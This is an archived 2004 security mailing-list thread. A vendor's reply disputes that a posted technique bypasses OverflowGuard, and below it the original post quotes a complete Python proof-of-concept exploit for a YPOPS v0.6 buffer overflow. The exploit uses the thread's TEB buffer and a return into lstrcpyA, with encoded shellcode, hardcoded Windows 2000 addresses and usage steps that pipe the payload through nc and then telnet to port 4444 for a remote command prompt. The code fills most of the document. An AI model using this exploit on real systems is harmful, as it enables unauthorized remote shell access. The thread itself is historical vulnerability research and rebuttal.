Contrary to the authors claim this method does not defeat protections like
OverflowGuard. OverflowGuard makes all writeable memory non-executable in a
protected process. Therefore, since the TEB is writeable memory this method
will fail when used against a OverflowGuard protected process. The
execution of the TEB will be detected and the process will be terminated
because the TEB is writeable memory. OverflowGuard does not protect the
program YPOPS by default, therefore, most likely the author's test wasn't
performed against a YPOPS process protected by OverflowGuard which is why he
believes his exploit works against OverflowGuard. If he took the time to
make sure OverflowGuard was protecting YPOPS he surely would have seen that
this method does not defeat OverflowGuard.
-Paul Webster
Data Security Software Inc.
OverflowGuard 1.4 -- http://www.datasecuritysoftware.com
----- Original Message -----
From: "varun uppal" <varunuppal_at_linuxmail.org>
To: <vuln-dev_at_securityfocus.com>
Sent: Wednesday, November 10, 2004 6:38 AM
Subject: TEB buffer+Return Into LIBC based string copy exploitation
Hi,
I have put together some info on using the TEB (Thread Execution Block)
Buffer and libc for exploiting NON-EXEC STACK Win32 environments. I havent
come across any major public exploit using this method nor much of
information on the same. The shell coders handbook was of great help
though.Thought it would be useful for someone interested in the same.
EXPLOIT:
#!/usr/bin/env python
"""
Exploit for an old BoF in YPOPS v0.6 discovered by Behrang Fouldai
Coded as a PoC for defeating NoN-Exec stacks and stack protections
like overflow guard etc.
This exploit utilizes the 520 byte buffer in the TEB (i.e is used for
ANSI to Unicode String operations). The EIP is overwritten with the address
of lstrcpyA accompanied by the return address, the source and destination
buffer
addresses.
On successfull EIP overwrite the lstrcpyA copies the attacker supplied
payload to
the address in the TEB, following which the executions proceeds from there
(since it
is the return addr that we supplied). Came across this usefull concept in
"The shell coders
handbook". Can be used for 1) Bypassing stack protections.
2) When none of the regs (ecx,ebx, eax, esp etc)
point to our payload.
BUFFER LAYOUT
|payload | addr of lstrcpyA | addr of buff in TEB | addr of buff in TEB |
addr of our payload |
ret addr for destination for Addr of our
execution Payload Payload
Tested on Win2K Adv Server with no patches and overflowguard. This is
heavily dependent on the addresses which
must be modified according to the versions.
0x77E87E39 --> Address of lstrcpyA from kernel32.dll
0x7ffDE1BC --> Address in TEB buffer to which payload will be copied and
execution
commences
0x00E6FAB8 --> Address of Payload on stack
Shellcode from Sergio alvarez's paper on win32 exploitatiion (gr8 paper).
Coded by Varun Uppal (varunuppal_at_linuxmail.org)
greetz to JhaanGi, swatkat_razor, saTurn444 and metasploit crew. gr8 work
USAGE:
python pop_exp2.py | nc "addr of target host" "target port"
Telnet "addr of target host" 4444 for cmd prompt
"""
import struct
exp = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
exp += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
exp += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
exp += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
exp += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
exp += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
exp += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
exp += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
exp += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
exp += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
exp += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
exp += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
exp += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
exp += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
exp += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
exp += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
exp += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
exp += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
exp += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
exp += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
exp += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
exp += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
exp += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
exp += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
exp += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"
print '\x90'*10+exp+'\x90'*96+ struct.pack('<L',
0x77e87e39)+struct.pack('<L', 0x7ffde1bc)+struct.pack('<L',
0x7ffde1bc)+'\xb8'+'\xfa'+'\xe6'+'\x00'
Received on Nov 12 2004
Intro
